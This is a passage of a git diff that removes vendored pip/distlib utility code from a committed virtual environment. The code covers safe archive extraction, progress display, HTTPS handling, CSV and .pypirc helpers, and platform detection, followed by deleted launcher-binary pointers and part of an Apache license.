-            base = dest_dir
-        p = os.path.abspath(os.path.join(base, path))
-        if not p.startswith(dest_dir) or p[plen] != os.sep:
-            raise ValueError('path outside destination: %r' % p)
-
-    def check_link(member):
-        # A symlink/hardlink member's name is validated like any other
-        # member, but its target (linkname) is not covered by extractall's
-        # name-based handling. An unchecked target lets a later member be
-        # written through the link to a location outside dest_dir. Validate
-        # the resolved target stays within dest_dir. Symlink targets are
-        # relative to the member's own directory; hardlink targets are
-        # relative to the archive root (i.e. dest_dir).
-        if not (member.issym() or member.islnk()):
-            return
-        if member.issym():
-            link_base = os.path.dirname(os.path.join(dest_dir, member.name))
-        else:
-            link_base = dest_dir
-        check_path(member.linkname, base=link_base)
-
-    dest_dir = os.path.abspath(dest_dir)
-    plen = len(dest_dir)
-    archive = None
-    if format is None:
-        if archive_filename.endswith(('.zip', '.whl')):
-            format = 'zip'
-        elif archive_filename.endswith(('.tar.gz', '.tgz')):
-            format = 'tgz'
-            mode = 'r:gz'
-        elif archive_filename.endswith(('.tar.bz2', '.tbz')):
-            format = 'tbz'
-            mode = 'r:bz2'
-        elif archive_filename.endswith('.tar'):
-            format = 'tar'
-            mode = 'r'
-        else:  # pragma: no cover
-            raise ValueError('Unknown format for %r' % archive_filename)
-    try:
-        if format == 'zip':
-            archive = ZipFile(archive_filename, 'r')
-            if check:
-                names = archive.namelist()
-                for name in names:
-                    check_path(name)
-        else:
-            archive = tarfile.open(archive_filename, mode)
-            if check:
-                for member in archive.getmembers():
-                    check_path(member.name)
-                    check_link(member)
-        if format != 'zip' and sys.version_info[0] < 3:
-            # See Python issue 17153. If the dest path contains Unicode,
-            # tarfile extraction fails on Python 2.x if a member path name
-            # contains non-ASCII characters - it leads to an implicit
-            # bytes -> unicode conversion using ASCII to decode.
-            for tarinfo in archive.getmembers():
-                if not isinstance(tarinfo.name, text_type):
-                    tarinfo.name = tarinfo.name.decode('utf-8')
-
-        # Limit extraction of dangerous items, if this Python
-        # allows it easily. If not, just trust the input.
-        # See: https://docs.python.org/3/library/tarfile.html#extraction-filters
-        def extraction_filter(member, path):
-            """Run tarfile.tar_filter, but raise the expected ValueError"""
-            # This is only called if the current Python has tarfile filters
-            try:
-                return tarfile.tar_filter(member, path)
-            except tarfile.FilterError as exc:
-                raise ValueError(str(exc))
-
-        archive.extraction_filter = extraction_filter
-
-        archive.extractall(dest_dir)
-
-    finally:
-        if archive:
-            archive.close()
-
-
-def zip_dir(directory):
-    """zip a directory tree into a BytesIO object"""
-    result = io.BytesIO()
-    dlen = len(directory)
-    with ZipFile(result, "w") as zf:
-        for root, dirs, files in os.walk(directory):
-            for name in files:
-                full = os.path.join(root, name)
-                rel = root[dlen:]
-                dest = os.path.join(rel, name)
-                zf.write(full, dest)
-    return result
-
-
-#
-# Simple progress bar
-#
-
-UNITS = ('', 'K', 'M', 'G', 'T', 'P')
-
-
-class Progress(object):
-    unknown = 'UNKNOWN'
-
-    def __init__(self, minval=0, maxval=100):
-        assert maxval is None or maxval >= minval
-        self.min = self.cur = minval
-        self.max = maxval
-        self.started = None
-        self.elapsed = 0
-        self.done = False
-
-    def update(self, curval):
-        assert self.min <= curval
-        assert self.max is None or curval <= self.max
-        self.cur = curval
-        now = time.time()
-        if self.started is None:
-            self.started = now
-        else:
-            self.elapsed = now - self.started
-
-    def increment(self, incr):
-        assert incr >= 0
-        self.update(self.cur + incr)
-
-    def start(self):
-        self.update(self.min)
-        return self
-
-    def stop(self):
-        if self.max is not None:
-            self.update(self.max)
-        self.done = True
-
-    @property
-    def maximum(self):
-        return self.unknown if self.max is None else self.max
-
-    @property
-    def percentage(self):
-        if self.done:
-            result = '100 %'
-        elif self.max is None:
-            result = ' ?? %'
-        else:
-            v = 100.0 * (self.cur - self.min) / (self.max - self.min)
-            result = '%3d %%' % v
-        return result
-
-    def format_duration(self, duration):
-        if (duration <= 0) and self.max is None or self.cur == self.min:
-            result = '??:??:??'
-        # elif duration < 1:
-        #     result = '--:--:--'
-        else:
-            result = time.strftime('%H:%M:%S', time.gmtime(duration))
-        return result
-
-    @property
-    def ETA(self):
-        if self.done:
-            prefix = 'Done'
-            t = self.elapsed
-            # import pdb; pdb.set_trace()
-        else:
-            prefix = 'ETA '
-            if self.max is None:
-                t = -1
-            elif self.elapsed == 0 or (self.cur == self.min):
-                t = 0
-            else:
-                # import pdb; pdb.set_trace()
-                t = float(self.max - self.min)
-                t /= self.cur - self.min
-                t = (t - 1) * self.elapsed
-        return '%s: %s' % (prefix, self.format_duration(t))
-
-    @property
-    def speed(self):
-        if self.elapsed == 0:
-            result = 0.0
-        else:
-            result = (self.cur - self.min) / self.elapsed
-        for unit in UNITS:
-            if result < 1000:
-                break
-            result /= 1000.0
-        return '%d %sB/s' % (result, unit)
-
-
-#
-# Glob functionality
-#
-
-RICH_GLOB = re.compile(r'\{([^}]*)\}')
-_CHECK_RECURSIVE_GLOB = re.compile(r'[^/\\,{]\*\*|\*\*[^/\\,}]')
-_CHECK_MISMATCH_SET = re.compile(r'^[^{]*\}|\{[^}]*$')
-
-
-def iglob(path_glob):
-    """Extended globbing function that supports ** and {opt1,opt2,opt3}."""
-    if _CHECK_RECURSIVE_GLOB.search(path_glob):
-        msg = """invalid glob %r: recursive glob "**" must be used alone"""
-        raise ValueError(msg % path_glob)
-    if _CHECK_MISMATCH_SET.search(path_glob):
-        msg = """invalid glob %r: mismatching set marker '{' or '}'"""
-        raise ValueError(msg % path_glob)
-    return _iglob(path_glob)
-
-
-def _iglob(path_glob):
-    rich_path_glob = RICH_GLOB.split(path_glob, 1)
-    if len(rich_path_glob) > 1:
-        assert len(rich_path_glob) == 3, rich_path_glob
-        prefix, set, suffix = rich_path_glob
-        for item in set.split(','):
-            for path in _iglob(''.join((prefix, item, suffix))):
-                yield path
-    else:
-        if '**' not in path_glob:
-            for item in std_iglob(path_glob):
-                yield item
-        else:
-            prefix, radical = path_glob.split('**', 1)
-            if prefix == '':
-                prefix = '.'
-            if radical == '':
-                radical = '*'
-            else:
-                # we support both
-                radical = radical.lstrip('/')
-                radical = radical.lstrip('\\')
-            for path, dir, files in os.walk(prefix):
-                path = os.path.normpath(path)
-                for fn in _iglob(os.path.join(path, radical)):
-                    yield fn
-
-
-if ssl:
-    from .compat import (HTTPSHandler as BaseHTTPSHandler, match_hostname, CertificateError)
-
-    #
-    # HTTPSConnection which verifies certificates/matches domains
-    #
-
-
-    class HTTPSConnection(httplib.HTTPSConnection):
-        ca_certs = None  # set this to the path to the certs file (.pem)
-        check_domain = True  # only used if ca_certs is not None
-
-        # noinspection PyPropertyAccess
-        def connect(self):
-            sock = socket.create_connection((self.host, self.port), self.timeout)
-            if getattr(self, '_tunnel_host', False):
-                self.sock = sock
-                self._tunnel()
-
-            context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
-            if hasattr(ssl, 'OP_NO_SSLv2'):
-                context.options |= ssl.OP_NO_SSLv2
-            if getattr(self, 'cert_file', None):
-                context.load_cert_chain(self.cert_file, self.key_file)
-            kwargs = {}
-            if self.ca_certs:
-                context.verify_mode = ssl.CERT_REQUIRED
-                context.load_verify_locations(cafile=self.ca_certs)
-                if getattr(ssl, 'HAS_SNI', False):
-                    kwargs['server_hostname'] = self.host
-
-            self.sock = context.wrap_socket(sock, **kwargs)
-            if self.ca_certs and self.check_domain:
-                try:
-                    match_hostname(self.sock.getpeercert(), self.host)
-                    logger.debug('Host verified: %s', self.host)
-                except CertificateError:  # pragma: no cover
-                    self.sock.shutdown(socket.SHUT_RDWR)
-                    self.sock.close()
-                    raise
-
-    class HTTPSHandler(BaseHTTPSHandler):
-
-        def __init__(self, ca_certs, check_domain=True):
-            BaseHTTPSHandler.__init__(self)
-            self.ca_certs = ca_certs
-            self.check_domain = check_domain
-
-        def _conn_maker(self, *args, **kwargs):
-            """
-            This is called to create a connection instance. Normally you'd
-            pass a connection class to do_open, but it doesn't actually check for
-            a class, and just expects a callable. As long as we behave just as a
-            constructor would have, we should be OK. If it ever changes so that
-            we *must* pass a class, we'll create an UnsafeHTTPSConnection class
-            which just sets check_domain to False in the class definition, and
-            choose which one to pass to do_open.
-            """
-            result = HTTPSConnection(*args, **kwargs)
-            if self.ca_certs:
-                result.ca_certs = self.ca_certs
-                result.check_domain = self.check_domain
-            return result
-
-        def https_open(self, req):
-            try:
-                return self.do_open(self._conn_maker, req)
-            except URLError as e:
-                if 'certificate verify failed' in str(e.reason):
-                    raise CertificateError('Unable to verify server certificate '
-                                           'for %s' % req.host)
-                else:
-                    raise
-
-    #
-    # To prevent against mixing HTTP traffic with HTTPS (examples: A Man-In-The-
-    # Middle proxy using HTTP listens on port 443, or an index mistakenly serves
-    # HTML containing a http://xyz link when it should be https://xyz),
-    # you can use the following handler class, which does not allow HTTP traffic.
-    #
-    # It works by inheriting from HTTPHandler - so build_opener won't add a
-    # handler for HTTP itself.
-    #
-    class HTTPSOnlyHandler(HTTPSHandler, HTTPHandler):
-
-        def http_open(self, req):
-            raise URLError('Unexpected HTTP request on what should be a secure '
-                           'connection: %s' % req)
-
-
-#
-# XML-RPC with timeouts
-#
-class Transport(xmlrpclib.Transport):
-
-    def __init__(self, timeout, use_datetime=0):
-        self.timeout = timeout
-        xmlrpclib.Transport.__init__(self, use_datetime)
-
-    def make_connection(self, host):
-        h, eh, x509 = self.get_host_info(host)
-        if not self._connection or host != self._connection[0]:
-            self._extra_headers = eh
-            self._connection = host, httplib.HTTPConnection(h)
-        return self._connection[1]
-
-
-if ssl:
-
-    class SafeTransport(xmlrpclib.SafeTransport):
-
-        def __init__(self, timeout, use_datetime=0):
-            self.timeout = timeout
-            xmlrpclib.SafeTransport.__init__(self, use_datetime)
-
-        def make_connection(self, host):
-            h, eh, kwargs = self.get_host_info(host)
-            if not kwargs:
-                kwargs = {}
-            kwargs['timeout'] = self.timeout
-            if not self._connection or host != self._connection[0]:
-                self._extra_headers = eh
-                self._connection = host, httplib.HTTPSConnection(h, None, **kwargs)
-            return self._connection[1]
-
-
-class ServerProxy(xmlrpclib.ServerProxy):
-
-    def __init__(self, uri, **kwargs):
-        self.timeout = timeout = kwargs.pop('timeout', None)
-        # The above classes only come into play if a timeout
-        # is specified
-        if timeout is not None:
-            # scheme = splittype(uri)  # deprecated as of Python 3.8
-            scheme = urlparse(uri)[0]
-            use_datetime = kwargs.get('use_datetime', 0)
-            if scheme == 'https':
-                tcls = SafeTransport
-            else:
-                tcls = Transport
-            kwargs['transport'] = t = tcls(timeout, use_datetime=use_datetime)
-            self.transport = t
-        xmlrpclib.ServerProxy.__init__(self, uri, **kwargs)
-
-
-#
-# CSV functionality. This is provided because on 2.x, the csv module can't
-# handle Unicode. However, we need to deal with Unicode in e.g. RECORD files.
-#
-
-
-def _csv_open(fn, mode, **kwargs):
-    if sys.version_info[0] < 3:
-        mode += 'b'
-    else:
-        kwargs['newline'] = ''
-        # Python 3 determines encoding from locale. Force 'utf-8'
-        # file encoding to match other forced utf-8 encoding
-        kwargs['encoding'] = 'utf-8'
-    return open(fn, mode, **kwargs)
-
-
-class CSVBase(object):
-    defaults = {
-        'delimiter': str(','),  # The strs are used because we need native
-        'quotechar': str('"'),  # str in the csv API (2.x won't take
-        'lineterminator': str('\n')  # Unicode)
-    }
-
-    def __enter__(self):
-        return self
-
-    def __exit__(self, *exc_info):
-        self.stream.close()
-
-
-class CSVReader(CSVBase):
-
-    def __init__(self, **kwargs):
-        if 'stream' in kwargs:
-            stream = kwargs['stream']
-            if sys.version_info[0] >= 3:
-                # needs to be a text stream
-                stream = codecs.getreader('utf-8')(stream)
-            self.stream = stream
-        else:
-            self.stream = _csv_open(kwargs['path'], 'r')
-        self.reader = csv.reader(self.stream, **self.defaults)
-
-    def __iter__(self):
-        return self
-
-    def next(self):
-        result = next(self.reader)
-        if sys.version_info[0] < 3:
-            for i, item in enumerate(result):
-                if not isinstance(item, text_type):
-                    result[i] = item.decode('utf-8')
-        return result
-
-    __next__ = next
-
-
-class CSVWriter(CSVBase):
-
-    def __init__(self, fn, **kwargs):
-        self.stream = _csv_open(fn, 'w')
-        self.writer = csv.writer(self.stream, **self.defaults)
-
-    def writerow(self, row):
-        if sys.version_info[0] < 3:
-            r = []
-            for item in row:
-                if isinstance(item, text_type):
-                    item = item.encode('utf-8')
-                r.append(item)
-            row = r
-        self.writer.writerow(row)
-
-
-#
-#   Configurator functionality
-#
-
-
-class Configurator(BaseConfigurator):
-
-    value_converters = dict(BaseConfigurator.value_converters)
-    value_converters['inc'] = 'inc_convert'
-
-    def __init__(self, config, base=None):
-        super(Configurator, self).__init__(config)
-        self.base = base or os.getcwd()
-
-    def configure_custom(self, config):
-
-        def convert(o):
-            if isinstance(o, (list, tuple)):
-                result = type(o)([convert(i) for i in o])
-            elif isinstance(o, dict):
-                if '()' in o:
-                    result = self.configure_custom(o)
-                else:
-                    result = {}
-                    for k in o:
-                        result[k] = convert(o[k])
-            else:
-                result = self.convert(o)
-            return result
-
-        c = config.pop('()')
-        if not callable(c):
-            c = self.resolve(c)
-        props = config.pop('.', None)
-        # Check for valid identifiers
-        args = config.pop('[]', ())
-        if args:
-            args = tuple([convert(o) for o in args])
-        items = [(k, convert(config[k])) for k in config if valid_ident(k)]
-        kwargs = dict(items)
-        result = c(*args, **kwargs)
-        if props:
-            for n, v in props.items():
-                setattr(result, n, convert(v))
-        return result
-
-    def __getitem__(self, key):
-        result = self.config[key]
-        if isinstance(result, dict) and '()' in result:
-            self.config[key] = result = self.configure_custom(result)
-        return result
-
-    def inc_convert(self, value):
-        """Default converter for the inc:// protocol."""
-        if not os.path.isabs(value):
-            value = os.path.join(self.base, value)
-        with codecs.open(value, 'r', encoding='utf-8') as f:
-            result = json.load(f)
-        return result
-
-
-class SubprocessMixin(object):
-    """
-    Mixin for running subprocesses and capturing their output
-    """
-
-    def __init__(self, verbose=False, progress=None):
-        self.verbose = verbose
-        self.progress = progress
-
-    def reader(self, stream, context):
-        """
-        Read lines from a subprocess' output stream and either pass to a progress
-        callable (if specified) or write progress information to sys.stderr.
-        """
-        progress = self.progress
-        verbose = self.verbose
-        while True:
-            s = stream.readline()
-            if not s:
-                break
-            if progress is not None:
-                progress(s, context)
-            else:
-                if not verbose:
-                    sys.stderr.write('.')
-                else:
-                    sys.stderr.write(s.decode('utf-8'))
-                sys.stderr.flush()
-        stream.close()
-
-    def run_command(self, cmd, **kwargs):
-        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, **kwargs)
-        t1 = threading.Thread(target=self.reader, args=(p.stdout, 'stdout'))
-        t1.start()
-        t2 = threading.Thread(target=self.reader, args=(p.stderr, 'stderr'))
-        t2.start()
-        p.wait()
-        t1.join()
-        t2.join()
-        if self.progress is not None:
-            self.progress('done.', 'main')
-        elif self.verbose:
-            sys.stderr.write('done.\n')
-        return p
-
-
-def normalize_name(name):
-    """Normalize a python package name a la PEP 503"""
-    # https://peps.python.org/pep-0503/#normalized-names
-    # Emulates re.sub(r"[-_.]+", "-", name).lower()
-    # Much faster than re, and even faster than str.translate
-    value = name.lower().replace("_", "-").replace(".", "-")
-    while "--" in value:
-        value = value.replace("--", "-")
-    return value
-
-
-# def _get_pypirc_command():
-# """
-# Get the distutils command for interacting with PyPI configurations.
-# :return: the command.
-# """
-# from distutils.core import Distribution
-# from distutils.config import PyPIRCCommand
-# d = Distribution()
-# return PyPIRCCommand(d)
-
-
-class PyPIRCFile(object):
-
-    DEFAULT_REPOSITORY = 'https://upload.pypi.org/legacy/'
-    DEFAULT_REALM = 'pypi'
-
-    def __init__(self, fn=None, url=None):
-        if fn is None:
-            fn = os.path.join(os.path.expanduser('~'), '.pypirc')
-        self.filename = fn
-        self.url = url
-
-    def read(self):
-        result = {}
-
-        if os.path.exists(self.filename):
-            repository = self.url or self.DEFAULT_REPOSITORY
-
-            config = configparser.RawConfigParser()
-            config.read(self.filename)
-            sections = config.sections()
-            if 'distutils' in sections:
-                # let's get the list of servers
-                index_servers = config.get('distutils', 'index-servers')
-                _servers = [server.strip() for server in index_servers.split('\n') if server.strip() != '']
-                if _servers == []:
-                    # nothing set, let's try to get the default pypi
-                    if 'pypi' in sections:
-                        _servers = ['pypi']
-                else:
-                    for server in _servers:
-                        result = {'server': server}
-                        result['username'] = config.get(server, 'username')
-
-                        # optional params
-                        for key, default in (('repository', self.DEFAULT_REPOSITORY), ('realm', self.DEFAULT_REALM),
-                                             ('password', None)):
-                            if config.has_option(server, key):
-                                result[key] = config.get(server, key)
-                            else:
-                                result[key] = default
-
-                        # work around people having "repository" for the "pypi"
-                        # section of their config set to the HTTP (rather than
-                        # HTTPS) URL
-                        if (server == 'pypi' and repository in (self.DEFAULT_REPOSITORY, 'pypi')):
-                            result['repository'] = self.DEFAULT_REPOSITORY
-                        elif (result['server'] != repository and result['repository'] != repository):
-                            result = {}
-            elif 'server-login' in sections:
-                # old format
-                server = 'server-login'
-                if config.has_option(server, 'repository'):
-                    repository = config.get(server, 'repository')
-                else:
-                    repository = self.DEFAULT_REPOSITORY
-                result = {
-                    'username': config.get(server, 'username'),
-                    'password': config.get(server, 'password'),
-                    'repository': repository,
-                    'server': server,
-                    'realm': self.DEFAULT_REALM
-                }
-        return result
-
-    def update(self, username, password):
-        # import pdb; pdb.set_trace()
-        config = configparser.RawConfigParser()
-        fn = self.filename
-        config.read(fn)
-        if not config.has_section('pypi'):
-            config.add_section('pypi')
-        config.set('pypi', 'username', username)
-        config.set('pypi', 'password', password)
-        with open(fn, 'w') as f:
-            config.write(f)
-
-
-def _load_pypirc(index):
-    """
-    Read the PyPI access configuration as supported by distutils.
-    """
-    return PyPIRCFile(url=index.url).read()
-
-
-def _store_pypirc(index):
-    PyPIRCFile().update(index.username, index.password)
-
-
-#
-# get_platform()/get_host_platform() copied from Python 3.10.a0 source, with some minor
-# tweaks
-#
-
-
-def get_host_platform():
-    """Return a string that identifies the current platform.  This is used mainly to
-    distinguish platform-specific build directories and platform-specific built
-    distributions.  Typically includes the OS name and version and the
-    architecture (as supplied by 'os.uname()'), although the exact information
-    included depends on the OS; eg. on Linux, the kernel version isn't
-    particularly important.
-
-    Examples of returned values:
-       linux-i586
-       linux-alpha (?)
-       solaris-2.6-sun4u
-
-    Windows will return one of:
-       win-amd64 (64bit Windows on AMD64 (aka x86_64, Intel64, EM64T, etc)
-       win32 (all others - specifically, sys.platform is returned)
-
-    For other non-POSIX platforms, currently just returns 'sys.platform'.
-
-    """
-    if os.name == 'nt':
-        if 'amd64' in sys.version.lower():
-            return 'win-amd64'
-        if '(arm)' in sys.version.lower():
-            return 'win-arm32'
-        if '(arm64)' in sys.version.lower():
-            return 'win-arm64'
-        return sys.platform
-
-    # Set for cross builds explicitly
-    if "_PYTHON_HOST_PLATFORM" in os.environ:
-        return os.environ["_PYTHON_HOST_PLATFORM"]
-
-    if os.name != 'posix' or not hasattr(os, 'uname'):
-        # XXX what about the architecture? NT is Intel or Alpha,
-        # Mac OS is M68k or PPC, etc.
-        return sys.platform
-
-    # Try to distinguish various flavours of Unix
-
-    (osname, host, release, version, machine) = os.uname()
-
-    # Convert the OS name to lowercase, remove '/' characters, and translate
-    # spaces (for "Power Macintosh")
-    osname = osname.lower().replace('/', '')
-    machine = machine.replace(' ', '_').replace('/', '-')
-
-    if osname[:5] == 'linux':
-        # At least on Linux/Intel, 'machine' is the processor --
-        # i386, etc.
-        # XXX what about Alpha, SPARC, etc?
-        return "%s-%s" % (osname, machine)
-
-    elif osname[:5] == 'sunos':
-        if release[0] >= '5':  # SunOS 5 == Solaris 2
-            osname = 'solaris'
-            release = '%d.%s' % (int(release[0]) - 3, release[2:])
-            # We can't use 'platform.architecture()[0]' because a
-            # bootstrap problem. We use a dict to get an error
-            # if some suspicious happens.
-            bitness = {2147483647: '32bit', 9223372036854775807: '64bit'}
-            machine += '.%s' % bitness[sys.maxsize]
-        # fall through to standard osname-release-machine representation
-    elif osname[:3] == 'aix':
-        from _aix_support import aix_platform
-        return aix_platform()
-    elif osname[:6] == 'cygwin':
-        osname = 'cygwin'
-        rel_re = re.compile(r'[\d.]+', re.ASCII)
-        m = rel_re.match(release)
-        if m:
-            release = m.group()
-    elif osname[:6] == 'darwin':
-        import _osx_support
-        try:
-            from distutils import sysconfig
-        except ImportError:
-            import sysconfig
-        osname, release, machine = _osx_support.get_platform_osx(sysconfig.get_config_vars(), osname, release, machine)
-
-    return '%s-%s-%s' % (osname, release, machine)
-
-
-_TARGET_TO_PLAT = {
-    'x86': 'win32',
-    'x64': 'win-amd64',
-    'arm': 'win-arm32',
-}
-
-
-def get_platform():
-    if os.name != 'nt':
-        return get_host_platform()
-    cross_compilation_target = os.environ.get('VSCMD_ARG_TGT_ARCH')
-    if cross_compilation_target not in _TARGET_TO_PLAT:
-        return get_host_platform()
-    return _TARGET_TO_PLAT[cross_compilation_target]
-
-
-def is_in_directory(path, target):
-    """
-    Check if a path is inside a target directory. This doesn't check case (might be an issue on Windows)
-    """
-    path = os.path.abspath(path)
-    target = os.path.abspath(target)
-    return path == target or path.startswith(target + os.sep)
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/w32.exe b/venv/Lib/site-packages/pip/_vendor/distlib/w32.exe
deleted file mode 100644
index 4ee2d3a31b59e8b50f433ecdf0be9e496e8cc3b8..0000000000000000000000000000000000000000
Binary files a/venv/Lib/site-packages/pip/_vendor/distlib/w32.exe and /dev/null differ
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/w64-arm.exe b/venv/Lib/site-packages/pip/_vendor/distlib/w64-arm.exe
deleted file mode 100644
index bc02472528a32bd70ebfa2b0eca26e34a83fa264..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/w64-arm.exe
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c5dc9884a8f458371550e09bd396e5418bf375820a31b9899f6499bf391c7b2e
-size 168448
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/w64.exe b/venv/Lib/site-packages/pip/_vendor/distlib/w64.exe
deleted file mode 100644
index daebd1c30353b2d9b016069da83ad5b4c8ee86bd..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/w64.exe
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:7a319ffaba23a017d7b1e18ba726ba6c54c53d6446db55f92af53c279894f8ad
-size 101888
diff --git a/venv/Lib/site-packages/pip/_vendor/distro/LICENSE b/venv/Lib/site-packages/pip/_vendor/distro/LICENSE
deleted file mode 100644
index e06d2081865a766a8668acc12878f98b27fc9ea0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distro/LICENSE
+++ /dev/null
@@ -1,202 +0,0 @@
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
